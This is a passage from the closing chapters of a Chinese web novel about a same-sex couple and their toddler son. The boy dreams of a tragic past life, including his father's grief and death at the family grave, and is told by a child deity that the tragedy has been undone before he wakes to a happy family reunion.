见过搬起石头砸自己的脚的,没见过霍懿安这种把脚放蒜臼子里天天捣自己的。 张秘书很想留下多听些笑话,未来十年都指这个活了,但也怕霍懿安拿他撒气,所以递出胖崽就立马识时务闪人。 崽将小胖脸埋进爸爸的怀里深吸了一口又一口,夫夫俩还在幼稚争论。 霍懿安脑子转的飞快就是完全不着边际:“我也可以改姓明。” 脱口而出后,男人不仅不觉得自己的话很荒唐,还觉得自己的主意妙极了。 对啊!他改姓明,彻底成为郁明殊的家人,以后哪怕两人的爱情消失,婚姻结束,他们还可以继续…… 郁明殊眼中带笑,无情打断霍懿安的幻想:“你外婆姓明吗?没有姓明的直系长辈可是改不了。” 霍懿安来不及垮脸,怀中崽已经扬起小脑瓜炫耀起来:“嘟嘟有!~” 西奥多清楚的很,他现在可不仅有姓明的爷爷,爸爸也将郁姓去掉,直接以殊做名。 西奥多当时就想跟着改成明奥多,但郁明殊实在很喜欢“西奥多”背后的寓意,请专人测算,郁明殊再三衡量最后将嘟嘟的中文名定为明祐。 祐,取其神明助佑之意,刚好也和西奥多的寓意能对上一些。 不过这名字目前只有上户口的时候用了一下,其余时候还是西奥多和嘟嘟。 但不论用不用,西奥多都是正经的“明”祐,霍懿安比不了一点。 小嘴叭叭一通,成功将亲爹气成大黑脸,崽子才开始好奇爹地为什么突然要姓明? 夫夫俩对视一瞬,考虑到西奥多的特殊性,这崽现在还离不了人,更别说什么死亡教育了。 郁明殊笑着贴了贴崽子的肉脸蛋:“因为都姓明的话,一听就是一家的,你爹地想跟我们当永远的家人。” 崽子听完顿时更得意了:“喔~那米有办法了耶~只能嘟嘟和拔拔永远当一家银啦~” * 还未正式下葬就不算真正墓园,郁明殊也抱着带崽郊游的心态,一家三口在附近开开心心逛玩了一圈。 之后又去吃了郁明殊惦念许久的家常小炒,回家后崽跟爸爸一起泡了个澡,没等金灿灿的小软毛吹干,就已经困得直点头。 郁明殊立即轻手轻脚将手机架起来,崽无时无刻不可爱,郁明殊恨不得24h拍摄记录,又怎么会放过如此奶萌的时刻? 霍懿安虽然也觉得很可爱,但还是觉得比起睡成小香猪的崽,眼睛亮亮一脸幸福拍崽的郁明殊更加可爱,令人移不开眼。 虽然崽子这个纠察小队长提前睡着,霍懿安还是一如往常将崽放到了两人之间。 一方面是崽子中途醒来看不到郁明殊会炸,另一方面就算崽子不在,他也不会跨越雷池。 毕竟郁明殊对过去有阴影,还因他那把恶心的利刃吐过,而他又仔细确认过,世上没有任何一种办法可以达到100%的避孕效果,哪怕是结扎。 既然是郁明殊不喜欢的事,又还要郁明殊冒着巨大风险,霍懿安从得知明家两代人的惨剧,以及崽子最可能的真实身世后,就决心不会让郁明殊重蹈覆辙。 虽然他依旧有强烈的下流贪欲,甚至一日胜过一日,每天都要承受护具紧缚带来的痛苦煎熬,但霍懿安的决心从未动摇过。 每天可以背着崽和郁明殊亲吻拥抱,没什么比现在的生活更让他满意的了。 所以即便西奥多这个防亲嘴警报崽提前睡着,也不过是火辣拥吻到郁明殊嘴唇红肿浑身发烫,最终再一次以霍懿安主动脱离冲进浴室结束。 男人去冲澡,郁明殊的脸色却越来越红,倒不是因为看到身侧睡得喷香的崽子越发羞赧,而是他发现自己色念熏心难以平复。 要不是提前探知霍懿安腹下一片平坦,甚至差点一时失神拉住男人不让他走。 霍懿安每次的亲吻都像要将他拆吞入腹,郁明殊一直以为对方是太过于尊重他,才一直……郁明殊捂住越发绯红的面颊,所以其实是他太色了吗? 可为什么霍懿安每次亲完都要去洗澡? 郁明殊的确没做好接受的准备一直有意回避,但没想到他初次试探却发现事实南辕北辙。 他既羞赧又困惑,就听到一旁的崽子突然哼唧了一声。 他这才注意到崽子脸蛋泛红不是因为睡太香,而是有些低烧,掀开额前碎发,瓷白饱满的额头已经渗出薄薄细汗,小眉头紧紧皱着。 郁明殊脸上的烧烫几乎是瞬间降下来,快速测完体温,就开始给崽进行物理降温。 松解小睡衣,换上更薄的被子,用温毛巾给崽擦拭额头、颈侧、腹股沟……等动脉处。 霍懿安冲完冷水澡出来时,崽子的低烧已经顺利降了下来,但小眉头始终蹙着,郁明殊还是不能放心。 但崽这会儿已经退烧,没什么比让崽继续睡觉更好的处理办法,而且小孩子处于快速生长期,偶尔低烧也属正常。 霍懿安让郁明殊安心睡觉,他还有工作需要处理,刚好可以负责盯崽。 两人说好了两小时换班,郁明殊睡着后,霍懿安做的第一件事就是将他定好的闹钟关掉。 同一时间,处于梦中的西奥多再次来到了白天墓园。 不同于一家三口四处逛玩时的晴空万里,梦中乌云密布暴雨将至,黑压压的一片,崽差点没认出来这是同一个地方。 直到他在一片暗色中,看到了顶着醒目发色的熟悉身影。 “爹地!”崽子蓝眸一亮,倒腾着小短腿哒哒哒跑了过去,没等攥上男人西裤就迫不及待问道,“拔拔呢?”《 》 第93章【终章】 第93章 高大身影纹丝未动,崽嘟起小嘴满心不悦,立即气呼呼重复追问:“爹地!宝要爸爸!” 等崽跑到男人身边,也没能收到对方的答复,崽直接一记头槌飞冲,结果却直接穿过了男人的身体,崽这才意识到不对。 ……原来是他又在做梦了? 这个念头刚一浮现,崽子已经看清了男人身前的巨大墓碑。 石碑上没有照片,崽认识的中文字十分有限,但现在还是认得出自己和家人们的名字,他看到了爸爸的名字,也看到了自己的名字。 没人告诉过崽这意味着什么,可当他回头,看到依旧顶着冰块脸的男人,却有着一双平静中透着绝望的猩红蓝眸,西奥多好像明白了什么,心脏猛地抽疼。 不!他都好好的,爸爸肯定还好好的! “爹地!嘟嘟在的!” 可男人既看不到也听不到,只是间或落下几滴仍旧是毫无起伏的泪,仿佛是从裂掉的水瓮中渗出的,本就没什么血色的冷白面庞随之一点点耗尽生气。 西奥多感觉到这样下去爹地会出事,虽然爹地很坏但也是他唯一的爹地,爹地对他和爸爸来说同样很重要,可他无论如何蹦跳嚎叫,爹地都听不到也看不到。 就在西奥多不知如何是好的时候,雕塑般定立在墓前的男人却突然转身离开。 崽子立即倒腾着小短腿跟了上去,可他虽然可以努力追赶,却上不了男人的车。 西奥多正心急该如何是好,离开的车子很快又回来了,天色也一下从黑夜变到清晨。 男人依旧一身纯黑,崽愣了愣,还是很快笑着扑上去:“爹地!” 男人还是看不到他的存在也听不到他的声音,崽却能闻到男人身上明显的血腥气。 男人步速极快,等西奥多倒腾着小短腿跟回墓旁时,男人已经将手提的巨大包裹摊开,一件件更换墓前的食物。 崽子后知后觉,原来墓前还摆了食物。 之前是爸爸记挂许久的家常小炒,他刚跟爸爸们吃过,而现在又被男人换上了精致的法餐,每一样都是他和爸爸喜欢吃的。 男人面无表情摆完餐食,又拿出一个保温杯,他将奶瓶扭开,倒入温水,加入奶粉并熟练放到掌心搓动搅匀,甚至习惯性将混匀的奶液滴到手背上试温。 感受到皮肤上传来的温热触感,男人动作一滞,像是才意识到他的孩子已经不需要他试温了,片刻后,他将奶瓶轻放在餐食旁。 男人的神色看起比昨日更加内敛肃杀,虽然因多余动作有片刻的迟缓,但依旧密布着血丝的眼底却未再沁泪。 西奥多早就断奶了,但他一直很喜欢喝婴儿奶粉,所以即便婴儿奶粉已经无法提供他所需的营养,还是可以当成饮料继续喝。 而这份依赖被穿越后应接不暇的全新体验完全覆盖,崽子也是这一刻才突然想起,他已经很久没喝小牛奶了! 虽然事情的走向越发糟糕,崽子的小心脏抽疼个不停,但看到爹地刚泡好的香喷喷小牛奶,崽子还是忍不住吧嗒起越发水润的小嘴。 小脑花一抽,一双白嫩胖手就摸了上去。 有那么一瞬间,崽子感觉自己似乎碰到了温热的奶瓶,恰好一阵风吹过,崽子半透明的小手刚穿过奶瓶,奶瓶也顺着风向倒下。 已经站定的高大男人突然身形一晃,冰块脸上瞬间迸发出令人悚然的惊喜表情。 刚才的微风,不可能将奶瓶吹倒! 男人瞬间扑跪在地,大掌在奶瓶周围的空气焦急摸索:“宝宝,是不是你和爸爸回来了?!!” 可这份惊喜仅停留了一瞬,男人便倏然清醒,他握住温热的奶瓶突然崩溃,以头抢地发出声嘶力竭的绝望悲鸣:“小殊——宝宝——” ……画面陡然一转,立即从阴郁的黎明前夕跨入灿烂的骄阳之下。 不知过了多久,男人的铂金色发丝几乎完全变白了。 依旧年轻的冷白面庞却沾满干涸的血迹,他挥动尖铲的双手也是血红一片,仿佛浑身上下都被污血浸透,散发着浓重的血腥气。 他将足以容纳他的深坑挖好,便抬起沉重的石碑,将一大一小两个瓷罐取出。 “我该早点来陪你们的,对不起,我动作太慢现在才把那些畜生全部解决……” 男人无比珍重地吻上瓷罐,像是亲吻挚爱的脸庞,冷酷肃杀的面庞罕见绽放一丝柔和弧度。 “我终于可以来陪你和宝宝了。” 看到爹地一手紧拥瓷罐,一手拿出手枪,西奥多已经被疾速转换的画面吓得定在原地,巨大的惊恐绝望彻底堵住了他的喉头。 枪响前的一瞬,不知从何处飘来的银白藤蔓罩住了他的眼睛耳朵。 一切仿佛被按下了暂停键,无声又无息。 西奥多僵直的身体软软倒下,再睁眼时,人已经来到了一个只有银白色的世界。 西奥多眼神迷蒙将醒未醒,笼罩在他身上的藤蔓逐渐褪去,一根半透明的新芽点在他额头上,同时他脑中想起了一道稚嫩“神音”:“勇敢的崽崽,恭喜你已经打破前世的悲剧,以后要跟爸爸们永远幸福喔~” 声音落下的一瞬间,西奥多脑中快速闪过无数画面—— 左光石狗急跳墙想要谋害婴儿,却被郁明殊强撑着虚弱身体护住…… 薛景灿抓崽威胁痛下杀手,郁明殊无法承受最终同归于尽…… 幼小灵魂因绝望不屈散发出的最后一星光亮,幸运地被关注天下宝宝的小神树精准捕捉。 * 西奥多醒来时,脸上虽还残留着泪痕,但嘴角却带着愉悦幸福的弧度。 一睁眼,视线还未从模糊过度到清晰,耳边就已经传来爸爸爹地的激动呼唤。 “嘟嘟醒了?能听到爸爸的声音吗?” “医生呢?!!!” 崽看清爸爸红肿的桃花眼,奶甜的小表情瞬间垮掉:“拔拔怎么了!” 确定崽子醒来,郁明殊高悬的一颗心终于落下,一开口却还是忍不住哽咽:“爸爸没事,嘟嘟醒来就好。” 霍懿安等不及亲自去催,很快便带回一串专家。 西奥多虽然不是第一次昏睡不醒,但这次情况又不同,崽子不仅无法唤醒,中途还哀叫痛哭了几次。 郁明殊是在崽子半夜第一次哭时惊醒,之后两人发现无论如何都唤不醒孩子,便匆匆将崽送进医院做全面检查。 结果还是检查不出什么问题,夫夫俩只能胆战心惊守着崽苦熬。 郁明殊紧紧环抱住暖融融的小团子,西奥多感觉得到爸爸的慌乱担忧,不仅配合被抱着,还接连不断夹紧小奶嗓安抚回应:“宝没事啦~” “宝这次梦到好多好多……”西奥多下意识伸出小短胳膊,搂住了一旁的霍懿安,成功让一家三口紧密连接。 霍懿安:? 崽趴在郁明殊肩头,对着亲爹甜甜一笑。 霍懿安紧绷的冰块脸不由自主放松下来。 虽然没人能拒绝如此乖巧软糯的小甜崽,但霍懿安还是会因崽子的反常产生一丝忧虑。 即便只是虚惊一场,西奥多再一次顺利苏醒,但夫夫俩实在不想再经历第三次了,哪怕西奥多可以预见一些重要信息。 他只是个不到三岁的小宝宝,小幼崽只需要在爸爸们的爱护下快乐成长,但当前一秒还兴奋分享自己梦到好多信息的崽子突然卡壳,绷起小脸陷入阴霾时,郁明殊还是忍不住揪心询问:“是梦到什么不好的事情了吗?” 崽没说话,小脑花光速电转,转了又转,然后震惊发现他怎么什么都不记得了?! 准确来说是和预知有关的一切都清空了。 眨眼时还能感觉到残留泪痕黏黏的触感,但为什么哭的原因他却一点都记不起来了。 只记得宝宝神最初说的和最后说的……他和爸爸们有累世因缘,即便死亡将他们暂时分别,但终有相聚之日。 而他太想爸爸和爹地了,宝宝神才将他提前送了回来,最后还说—— “宝宝神说以后我们会一直幸福在一起!!!” 郁明殊顶着满脑袋问号:“……宝宝神是什么?” 霍懿安更是直接摸上崽子的额头:“已经退热了,低烧也会烧坏脑子?” 西奥多:“(#▼皿▼) ???” 奶萌小崽瞬间化身鳄鱼宝宝,一个甩头,精准咬上了男人探温的大掌。 霍懿安感受着手上的疼痛,唇侧却勾起了安心的弧度,看来小家伙还是正常的。《 》